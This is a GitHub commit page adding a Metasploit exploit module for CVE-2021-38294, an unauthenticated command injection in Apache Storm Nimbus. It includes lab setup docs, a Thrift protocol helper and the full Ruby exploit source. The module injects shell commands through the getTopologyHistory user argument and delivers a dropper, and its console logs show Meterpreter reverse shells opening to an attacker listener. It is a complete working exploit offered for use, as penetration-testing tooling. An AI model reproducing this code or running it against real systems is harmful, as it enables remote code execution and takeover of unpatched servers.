-
Notifications
You must be signed in to change notification settings - Fork 13.9k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #15866, Add Exploit For CVE-2021-38294 (Apache Storm Nimbus getT…
…opologyHistory RCE)
- Loading branch information
Showing
4 changed files
with
350 additions
and
10 deletions.
There are no files selected for viewing
146 changes: 146 additions & 0 deletions
146
documentation/modules/exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,146 @@ | ||
## Vulnerable Application | ||
|
||
This module exploits an unauthenticated command injection vulnerability within the Nimbus service | ||
component of Apache Storm. The `getTopologyHistory()` RPC method method takes a single argument | ||
which is the name of a user which is concatenated into a string that is executed by bash. In | ||
order for the vulnerability to be exploitable, there must have been at least one topology | ||
submitted to the server. The topology may be active or inactive, but at least one must be present. | ||
Successful exploitation results in remote code execution as the user running Apache Storm. | ||
|
||
This vulnerability was patched in versions 2.1.1, 2.2.1 and 1.2.4. This exploit was tested on version 2.2.0 | ||
which is affected. | ||
|
||
## Verification Steps | ||
|
||
1. Setup a minimal Storm cluster using the published docker images. The following steps were adapted from [Docker | ||
reference][1]. | ||
* The following steps can be executed to start up a minimal Storm cluster, but requires the [Storm Starter][2] jar | ||
to exist in the current directory as `topology.jar`. Follow the steps on the [projects page][3] to build it with | ||
Maven. Storm Starter v2.4.0 was used for testing. | ||
|
||
``` | ||
# 1. Start a ZooKeeper server: | ||
docker run -d --rm --name some-zookeeper zookeeper | ||
# 2. Start a Nimbus server: | ||
docker run -p 6627:6627 -d --rm --name some-nimbus --link some-zookeeper:zookeeper \ | ||
storm:2.2.0 storm nimbus | ||
# 3. Start a Supervisor server: | ||
docker run -d --rm --name supervisor1 --link some-zookeeper:zookeeper --link some-nimbus:nimbus \ | ||
storm:2.2.0 storm supervisor | ||
# 4. Submit a topology using Storm Starter: | ||
docker run --rm --link some-nimbus:nimbus -it -v $(pwd)/topology.jar:/topology.jar \ | ||
storm:2.2.0 storm jar /topology.jar \ | ||
org.apache.storm.starter.ExclamationTopology exclamation | ||
``` | ||
2. Start `msfconsole` | ||
3. Do: `use exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec` | ||
4. Set the module options | ||
5. Do: `exploit` | ||
6. You should get a shell | ||
|
||
## Options | ||
|
||
## Scenarios | ||
|
||
### Debian 11.1 x64, Apache Storm v2.2.4 (From Docker) | ||
|
||
``` | ||
msf6 > use exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec | ||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp | ||
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set LHOST docker0 | ||
LHOST => docker0 | ||
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set LPORT 6677 | ||
LPORT => 6677 | ||
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set RHOST 127.0.0.1 | ||
RHOST => 127.0.0.1 | ||
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > show options | ||
Module options (exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
RHOSTS 127.0.0.1 yes The target host(s), see https://github.com/rapid7/ | ||
metasploit-framework/wiki/Using-Metasploit | ||
RPORT 6627 yes The target port (TCP) | ||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. | ||
This must be an address on the local machine or 0. | ||
0.0.0 to listen on all addresses. | ||
SRVPORT 8080 yes The local port to listen on. | ||
SSL false no Negotiate SSL for incoming connections | ||
SSLCert no Path to a custom SSL certificate (default is rando | ||
mly generated) | ||
URIPATH no The URI to use for this exploit (default is random | ||
) | ||
Payload options (linux/x64/meterpreter/reverse_tcp): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
LHOST docker0 yes The listen address (an interface may be specified) | ||
LPORT 6677 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
1 Linux Dropper | ||
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > check | ||
[*] 127.0.0.1:6627 - The target appears to be vulnerable. Successfully tested command injection. | ||
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > exploit | ||
[*] Started reverse TCP handler on 172.18.0.1:6677 | ||
[*] 127.0.0.1:6627 - Running automatic check ("set AutoCheck false" to disable) | ||
[+] 127.0.0.1:6627 - The target appears to be vulnerable. Successfully tested command injection. | ||
[*] 127.0.0.1:6627 - Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp | ||
[*] Sending stage (3012548 bytes) to 172.18.0.3 | ||
[*] 127.0.0.1:6627 - Command Stager progress - 100.00% done (823/823 bytes) | ||
[*] Meterpreter session 1 opened (172.18.0.1:6677 -> 172.18.0.3:49872 ) at 2021-11-18 16:59:00 -0600 | ||
meterpreter > sysinfo | ||
Computer : 172.18.0.3 | ||
OS : Debian 11.1 (Linux 5.11.0-40-generic) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > getuid | ||
Server username: storm | ||
meterpreter > | ||
``` | ||
|
||
### Debian 11.1 x64, Apache Storm v2.2.0 (From Docker) | ||
|
||
``` | ||
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set TARGET 1 | ||
TARGET => 1 | ||
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > set PAYLOAD linux/x64/meterpreter/reverse_tcp | ||
PAYLOAD => linux/x64/meterpreter/reverse_tcp | ||
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > check | ||
[*] 192.168.159.31:6627 - The target appears to be vulnerable. Successfully tested command injection. | ||
msf6 exploit(linux/misc/nimbus_gettopologyhistory_cmd_exec) > exploit | ||
[*] Started reverse TCP handler on 192.168.159.128:4444 | ||
[*] 192.168.159.31:6627 - Running automatic check ("set AutoCheck false" to disable) | ||
[+] 192.168.159.31:6627 - The target appears to be vulnerable. Successfully tested command injection. | ||
[*] 192.168.159.31:6627 - Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp | ||
[*] Sending stage (3012548 bytes) to 192.168.159.31 | ||
[*] 192.168.159.31:6627 - Command Stager progress - 100.00% done (823/823 bytes) | ||
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.31:51680 ) at 2021-11-12 14:45:37 -0500 | ||
meterpreter > getuid | ||
Server username: storm | ||
meterpreter > sysinfo | ||
Computer : 172.17.0.3 | ||
OS : Debian 11.1 (Linux 5.4.0-89-generic) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > | ||
``` | ||
|
||
[1]: https://hub.docker.com/_/storm | ||
[2]: https://github.com/apache/storm/tree/master/examples/storm-starter | ||
[3]: https://github.com/apache/storm/tree/master/examples/storm-starter#build-and-install-storm-jars-locally |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,54 @@ | ||
# -*- coding: binary -*- | ||
|
||
module Rex::Proto::Thrift | ||
class DataType < BinData::Uint8 | ||
T_STOP = 0 | ||
T_UTF7 = 11 | ||
|
||
default_parameter assert: -> { !DataType.name(value).nil? } | ||
|
||
def self.name(value) | ||
constants.select { |c| c.upcase == c }.find { |c| const_get(c) == value } | ||
end | ||
|
||
def to_sym | ||
self.class.name(value) | ||
end | ||
end | ||
|
||
class MessageType < BinData::Uint16be | ||
CALL = 1 | ||
REPLY = 2 | ||
|
||
default_parameter assert: -> { !MessageType.name(value).nil? } | ||
|
||
def self.name(value) | ||
constants.select { |c| c.upcase == c }.find { |c| const_get(c) == value } | ||
end | ||
|
||
def to_sym | ||
self.class.name(value) | ||
end | ||
end | ||
|
||
class Header < BinData::Record | ||
endian :big | ||
|
||
uint16 :version, initial_value: 0x8001 | ||
message_type :message_type | ||
uint32 :method_name_length, value: -> { method_name.length } | ||
string :method_name, read_length: :method_name_length | ||
uint32 :sequence_id | ||
end | ||
|
||
class Data < BinData::Record | ||
endian :big | ||
|
||
data_type :data_type, initial_value: DataType::T_STOP | ||
uint16 :field_id, onlyif: -> { data_type != DataType::T_STOP } | ||
uint32 :data_length, onlyif: -> { data_type != DataType::T_STOP }, value: -> { data_value.length } | ||
choice :data_value, onlyif: -> { data_type != DataType::T_STOP }, selection: :data_type do | ||
string DataType::T_UTF7 | ||
end | ||
end | ||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
147 changes: 147 additions & 0 deletions
147
modules/exploits/linux/misc/nimbus_gettopologyhistory_cmd_exec.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,147 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'rex/proto/thrift' | ||
require 'rex/stopwatch' | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
prepend Msf::Exploit::Remote::AutoCheck | ||
include Msf::Exploit::Remote::Tcp | ||
include Msf::Exploit::CmdStager | ||
|
||
Thrift = Rex::Proto::Thrift | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Apache Storm Nimbus getTopologyHistory Unauthenticated Command Execution', | ||
'Description' => %q{ | ||
This module exploits an unauthenticated command injection vulnerability within the Nimbus service component of Apache Storm. | ||
The getTopologyHistory RPC method method takes a single argument which is the name of a user which is | ||
concatenated into a string that is executed by bash. In order for the vulnerability to be exploitable, there | ||
must have been at least one topology submitted to the server. The topology may be active or inactive, but at | ||
least one must be present. Successful exploitation results in remote code execution as the user running Apache Storm. | ||
This vulnerability was patched in versions 2.1.1, 2.2.1 and 1.2.4. This exploit was tested on version 2.2.0 | ||
which is affected. | ||
}, | ||
'Author' => [ | ||
'Alvaro Muñoz', # discovery and original research | ||
'Spencer McIntyre', # metasploit module | ||
], | ||
'References' => [ | ||
['CVE', '2021-38294'], | ||
['URL', 'https://securitylab.github.com/advisories/GHSL-2021-085-apache-storm/'] | ||
], | ||
'DisclosureDate' => '2021-10-25', | ||
'License' => MSF_LICENSE, | ||
'Platform' => ['linux', 'unix'], | ||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], | ||
'Privileged' => false, | ||
'Targets' => [ | ||
[ | ||
'Unix Command', | ||
{ | ||
'Platform' => 'unix', | ||
'Arch' => ARCH_CMD, | ||
'Type' => :unix_cmd | ||
} | ||
], | ||
[ | ||
'Linux Dropper', | ||
{ | ||
'Platform' => 'linux', | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'Type' => :linux_dropper | ||
} | ||
] | ||
], | ||
'DefaultTarget' => 1, | ||
'DefaultOptions' => { | ||
'RPORT' => 6627, | ||
'MeterpreterTryToFork' => true | ||
}, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] | ||
} | ||
) | ||
) | ||
end | ||
|
||
def check | ||
begin | ||
connect | ||
rescue Rex::ConnectionError | ||
return CheckCode::Unknown('Failed to connect to the service.') | ||
end | ||
|
||
sleep_time = rand(5..10) | ||
response, elapsed_time = Rex::Stopwatch.elapsed_time do | ||
execute_command("sleep #{sleep_time}", { disconnect: false }) | ||
recv_response(sleep_time + 5) | ||
end | ||
disconnect | ||
|
||
vprint_status("Elapsed time: #{elapsed_time} seconds") | ||
|
||
unless response && elapsed_time > sleep_time | ||
return CheckCode::Safe('Failed to test command injection.') | ||
end | ||
|
||
CheckCode::Appears('Successfully tested command injection.') | ||
end | ||
|
||
def exploit | ||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") | ||
|
||
case target['Type'] | ||
when :unix_cmd | ||
execute_command(payload.encoded) | ||
when :linux_dropper | ||
execute_cmdstager | ||
end | ||
end | ||
|
||
def execute_command(cmd, opts = {}) | ||
# comment out the rest of the command to ensure it's only executed once and prefix a random tag to avoid caching | ||
cmd = "#{cmd} ##{Rex::Text.rand_text_alphanumeric(4..8)}" | ||
vprint_status("Executing command: #{cmd}") | ||
|
||
send_request([ | ||
Thrift::Header.new(message_type: Thrift::MessageType::CALL, method_name: 'getTopologyHistory'), | ||
Thrift::Data.new(data_type: Thrift::DataType::T_UTF7, field_id: 1, data_value: ";#{cmd}"), | ||
Thrift::Data.new | ||
].map(&:to_binary_s).join) | ||
disconnect if opts.fetch(:disconnect, true) | ||
end | ||
|
||
def send_request(request) | ||
connect if sock.nil? | ||
sock.put([ request.length ].pack('N') + request) | ||
end | ||
|
||
def recv_response(timeout) | ||
remaining = timeout | ||
res_size, elapsed = Rex::Stopwatch.elapsed_time do | ||
sock.timed_read(4, remaining) | ||
end | ||
|
||
remaining -= elapsed | ||
return nil if res_size.nil? || res_size.length != 4 || remaining <= 0 | ||
|
||
res = sock.timed_read(res_size.unpack1('N'), remaining) | ||
|
||
return nil if res.nil? || res.length != res_size.unpack1('N') | ||
|
||
return res_size + res | ||
rescue Timeout::Error | ||
return nil | ||
end | ||
end |